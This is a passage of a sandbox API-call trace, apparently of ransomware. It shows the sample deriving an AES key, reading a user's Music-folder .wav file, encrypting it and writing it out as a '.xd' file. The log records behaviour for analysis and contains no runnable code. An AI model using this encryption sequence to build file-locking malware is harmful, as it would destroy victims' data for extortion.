lpProcName="CryptDeriveKey") returned 0x74c95b70 [0063.326] CryptDeriveKey (in: hProv=0x17ab330, Algid=0x6610, hBaseData=0x164c430, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0063.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.326] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.326] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0063.326] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0063.327] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0063.327] CryptDestroyHash (hHash=0x164c430) returned 1 [0063.327] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.327] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.327] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.327] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.327] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.327] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\slq09vzi9-b1tc1ept.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0063.327] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.328] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0063.328] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.328] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.328] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.328] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0063.328] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\slq09vzi9-b1tc1ept.wav.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0063.328] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.328] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.328] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.328] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.330] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0063.330] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0063.332] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x6e62, lpOverlapped=0x0) returned 1 [0063.332] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0063.336] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.336] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.336] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.336] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0063.338] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.338] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.338] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0063.338] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.338] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0063.338] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.338] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.338] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.338] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0063.338] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0063.339] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0063.339] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x16296e0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16296e0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0063.339] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.339] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.339] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.339] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.339] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.339] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.339] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.339] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.339] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.339] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.339] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.339] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.339] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.339] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.339] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.339] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.339] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.339] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.339] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.339] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.340] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.340] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.340] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.340] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.340] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.341] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.341] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x16e62, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x16e70) returned 1 [0063.341] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.341] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.341] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.341] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.341] CharLowerBuffW (in: lpsz="byte[93809]", cchLength=0xb | out: lpsz="byte[93809]") returned 0xb [0063.341] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.344] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.344] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.344] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.345] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a50, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.346] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.346] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e7988*, pdwDataLen=0x130e618*=0x16e62, dwBufLen=0x16e70 | out: pbData=0x17e7988*, pdwDataLen=0x130e618*=0x16e70) returned 1 [0063.346] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.346] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.346] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.347] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.347] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.347] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.347] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.347] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.347] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.347] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.347] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.347] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.347] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.347] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.347] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.347] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.347] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.356] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.356] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.356] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.356] WriteFile (in: hFile=0x2ac, lpBuffer=0x1893e88*, nNumberOfBytesToWrite=0x16e70, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1893e88*, lpNumberOfBytesWritten=0x130f01c*=0x16e70, lpOverlapped=0x0) returned 1 [0063.359] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.359] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.359] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0063.369] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.369] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.369] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0063.369] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621558, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0063.369] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0063.369] CryptDestroyKey (hKey=0x164c630) returned 1 [0063.369] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.369] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.369] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.370] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.370] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.370] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.370] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.370] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.370] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.370] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0063.370] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.370] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.370] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.370] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.370] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.370] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.370] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.370] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.370] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.370] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.370] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.370] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.370] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 